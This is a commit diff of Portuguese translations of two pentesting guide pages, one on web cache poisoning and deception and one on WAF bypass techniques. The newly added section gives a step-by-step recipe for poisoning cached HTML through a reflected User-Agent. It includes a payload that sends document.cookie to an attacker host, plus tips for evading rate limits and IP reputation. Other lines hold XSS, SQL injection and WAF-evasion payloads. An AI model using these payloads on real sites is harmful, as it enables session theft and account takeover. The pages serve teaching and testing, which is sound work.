Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

2025-10-10 18:36:50 +00:00 · 2025-08-21 06:07:45 +00:00 · 2025-08-21 06:07:45 +00:00 · 6f56518b6a
commit 6f56518b6a
parent 4c301f26c8
2 changed files with 85 additions and 29 deletions
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -47,7 +47,7 @@ Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanit

 ### Obter a resposta em cache

-Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer com que a página seja armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.
+Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer a página ser armazenada em cache. Dependendo do recurso que você está tentando colocar no cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.

 O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
 O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Envenenamento de cache com travessia de caminho para roubar chave da API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
+[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.

 Isso também é explicado melhor em:

@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-Às vezes, você precisará **explorar várias entradas não chaveadas** para conseguir abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
+Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -142,13 +142,13 @@ Content-Length: 22

 report=innocent-victim
 ```
-There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+Há um laboratório do portswigger sobre isso: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-### Encobrimento de Parâmetros
+### Cloaking de Parâmetros

 Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles.

-Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Laboratório do Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

 ### Explorando o Envenenamento de Cache HTTP abusando do HTTP Request Smuggling

@ -158,13 +158,49 @@ Aprenda aqui como realizar [ataques de Envenenamento de Cache abusando do HTTP R

 O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente o envenenamento de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável.

-Exemplo de uso: `wcvs -u example.com`
+Uso de exemplo: `wcvs -u example.com`
+
+### XSS de reflexão de cabeçalho + semeadura de cache assistida por CDN/WAF (User-Agent, .js auto-cacheado)
+
+Este padrão do mundo real encadeia um primitivo de reflexão baseado em cabeçalho com o comportamento de CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:
+
+- O HTML principal refletiu um cabeçalho de solicitação não confiável (por exemplo, `User-Agent`) em um contexto executável.
+- O CDN removeu cabeçalhos de cache, mas um cache interno/origem existia. O CDN também auto-cacheou solicitações que terminavam em extensões estáticas (por exemplo, `.js`), enquanto o WAF aplicou uma inspeção de conteúdo mais fraca para GETs de ativos estáticos.
+- Quirks do fluxo de solicitação permitiram que uma solicitação a um caminho `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho.
+
+Receita prática (observada em um popular CDN/WAF):
+
+1) De um IP limpo (evite rebaixamentos baseados em reputação anteriores), defina um `User-Agent` malicioso via navegador ou Burp Proxy Match & Replace.
+2) No Burp Repeater, prepare um grupo de duas solicitações e use "Enviar grupo em paralelo" (o modo de pacote único funciona melhor):
+- Primeira solicitação: GET um caminho de recurso `.js` na mesma origem enquanto envia seu `User-Agent` malicioso.
+- Imediatamente após: GET a página principal (`/`).
+3) A corrida de roteamento do CDN/WAF mais o `.js` auto-cacheado frequentemente semeia uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, as mesmas dimensões `Vary` como `User-Agent`).
+
+Exemplo de carga útil de cabeçalho (para exfiltrar cookies não-HttpOnly):
+```
+User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
+```
+Dicas operacionais:
+
+- Muitos CDNs ocultam cabeçalhos de cache; a contaminação pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e limite a taxa para evitar gatilhos de limite de taxa ou reputação.
+- Usar um IP da própria nuvem do CDN às vezes melhora a consistência de roteamento.
+- Se um CSP rigoroso estiver presente, isso ainda funciona se a reflexão for executada no contexto HTML principal e o CSP permitir a execução inline ou for contornado pelo contexto.
+
+Impacto:
+
+- Se os cookies de sessão não forem `HttpOnly`, um ATO de clique zero é possível ao exfiltrar em massa `document.cookie` de todos os usuários que recebem o HTML contaminado.
+
+Defesas:
+
+- Pare de refletir cabeçalhos de solicitação no HTML; codifique estritamente o contexto se for inevitável. Alinhe as políticas de cache do CDN e da origem e evite variações em cabeçalhos não confiáveis.
+- Certifique-se de que o WAF aplique a inspeção de conteúdo de forma consistente a solicitações `.js` e caminhos estáticos.
+- Defina `HttpOnly` (e `Secure`, `SameSite`) em cookies de sessão.

 ## Exemplos Vulneráveis

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

-ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, caminho e consulta (ignorando o fragmento). Assim, a solicitação `/#/../?r=javascript:alert(1)` foi enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas host, caminho e consulta.
+O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, caminho e consulta (ignorando o fragmento). Assim, a solicitação `/#/../?r=javascript:alert(1)` foi enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas host, caminho e consulta.

 ### GitHub CP-DoS

@ -172,37 +208,37 @@ Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em

 ### GitLab + GCP CP-DoS

-GitLab usa buckets GCP para armazenar conteúdo estático. **Buckets GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
+O GitLab usa buckets do GCP para armazenar conteúdo estático. **Buckets do GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e contaminar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.

 ### Rack Middleware (Ruby on Rails)

-Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma Negação de Serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.
+Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma negação de serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.

 ### 403 e Buckets de Armazenamento

-O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de Autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.
+O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.

 ### Injetando Parâmetros Chaveados

-Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenou em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
+Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que pode ser armazenado em cache.

 ### Regras de User Agent

-Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS.
+Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como contaminação de cache e DoS.

 ### Campos de Cabeçalho Ilegais

-O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
+O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que pode ser armazenado em cache.

 ### Encontrando novos cabeçalhos

 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

-## Engano de Cache
+## Decepção de Cache

-O objetivo do Engano de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
+O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.

-Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
+Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. geralmente são **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.

 Outras coisas a testar:

@ -217,13 +253,13 @@ Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackero
 No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
 Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.

-Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_).
+Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).

-Aprenda aqui como realizar [ataques de Engano de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Aprenda aqui como realizar [ataques de Decepção de Cache abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

 ## Ferramentas Automáticas

- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de contaminação de cache web em uma lista de URLs e testar várias técnicas de injeção.

 ## Referências

@ -233,6 +269,8 @@ Aprenda aqui como realizar [ataques de Engano de Cache abusando do HTTP Request
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
+- [Como encontrei uma tomada de conta de 0 cliques em um BBP público e a utilizei para acessar funcionalidades de nível administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@ -75,7 +75,7 @@ deny all;
 ### Confusão de Caminho

 [**Neste post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12), **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o caminho acessado (até o início dos parâmetros). Isso ocorre porque ele realizava uma decodificação de URL para obter o caminho.\
-Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?` encerrando o caminho da URL, mas na verdade o caminho que um servidor receberá será `/foo%3f';alert(1);foo=`.
+Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?`, encerrando o caminho da URL, mas na verdade o caminho que um servidor receberá será `/foo%3f';alert(1);foo=`.

 As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.

@ -85,7 +85,7 @@ Algo semelhante ocorreu na versão 2 do Mod Security que permitiu contornar uma

 ### Cabeçalho Malformado

-[Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformado" que não era devidamente analisado pela AWS, mas sim pelo servidor de backend.
+[Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformado" que não era devidamente analisado pela AWS, mas sim pelo servidor backend.

 Por exemplo, enviando a seguinte solicitação com uma injeção SQL no cabeçalho X-Query:
 ```http
@ -98,32 +98,49 @@ Connection: close\r\n
 ```
 Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha faz parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).

-## Bypasses Genéricos de WAF
+## Contornos genéricos de WAF

 ### Limites de Tamanho de Requisição

-Comumente, os WAFs têm um certo limite de comprimento de requisições para verificar e, se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
+Comumente, os WAFs têm um certo limite de comprimento de requisições para verificar e, se uma requisição POST/PUT/PATCH exceder esse limite, o WAF não verificará a requisição.

 - Para o AWS WAF, você pode [**verificar a documentação**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

 <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>

- De [**documentos do Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- Da [**documentação do Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**

 Firewalls de Aplicação Web mais antigos com Core Rule Set 3.1 (ou inferior) permitem mensagens maiores que **128 KB** desativando a inspeção do corpo da requisição, mas essas mensagens não serão verificadas quanto a vulnerabilidades. Para versões mais novas (Core Rule Set 3.2 ou mais recentes), o mesmo pode ser feito desativando o limite máximo do corpo da requisição. Quando uma requisição excede o limite de tamanho:

 Se **modo de prevenção**: Registra e bloqueia a requisição.\
 Se **modo de detecção**: Inspeciona até o limite, ignora o restante e registra se o `Content-Length` exceder o limite.

- De [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
+- Da [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

 Por padrão, o WAF inspeciona apenas os primeiros 8KB de uma requisição. Ele pode aumentar o limite para até 128KB adicionando Metadados Avançados.

- De [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
+- Da [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**

 Até 128KB.

-### Ofuscação <a href="#obfuscation" id="obfuscation"></a>
+### Lacunas na inspeção de ativos estáticos (.js GETs)
+
+Alguns stacks de CDN/WAF aplicam inspeção de conteúdo fraca ou nenhuma a requisições GET para ativos estáticos (por exemplo, caminhos que terminam com `.js`), enquanto ainda aplicam regras globais como limitação de taxa e reputação de IP. Combinado com o auto-cache de extensões estáticas, isso pode ser abusado para entregar ou semear variantes maliciosas que afetam respostas HTML subsequentes.
+
+Casos de uso práticos:
+
+- Enviar payloads em cabeçalhos não confiáveis (por exemplo, `User-Agent`) em um GET para um caminho `.js` para evitar a inspeção de conteúdo, e então imediatamente solicitar o HTML principal para influenciar a variante em cache.
+- Usar um IP fresco/limpo; uma vez que um IP é sinalizado, mudanças de roteamento podem tornar a técnica não confiável.
+- No Burp Repeater, usar "Enviar grupo em paralelo" (estilo de pacote único) para correr as duas requisições (`.js` e depois HTML) pelo mesmo caminho de front-end.
+
+Isso combina bem com envenenamento de cache de reflexão de cabeçalho. Veja:
+
+- {{#ref}}
+cache-deception/README.md
+{{#endref}}
+- [Como encontrei uma tomada de conta 0-Click em um BBP público e a utilizei para acessar funcionalidades de nível Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+### Ofuscação <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@ -145,7 +162,7 @@ Dependendo da implementação da normalização Unicode (mais informações [aqu

 Como mencionado em [**este post do blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário, poderíamos abusar das técnicas do WAF para realmente normalizar a entrada dos usuários.

-Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, que **pode pensar que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.
+Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, o que **pode fazer com que pense que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.

 Portanto, isso permite **ocultar payloads em componentes codificados** que o WAF irá decodificar e interpretar, enquanto a vítima não.

@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
+- [Como encontrei uma tomada de conta 0-Click em um BBP público e a utilizei para acessar funcionalidades de nível Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


 {{#include ../banners/hacktricks-training.md}}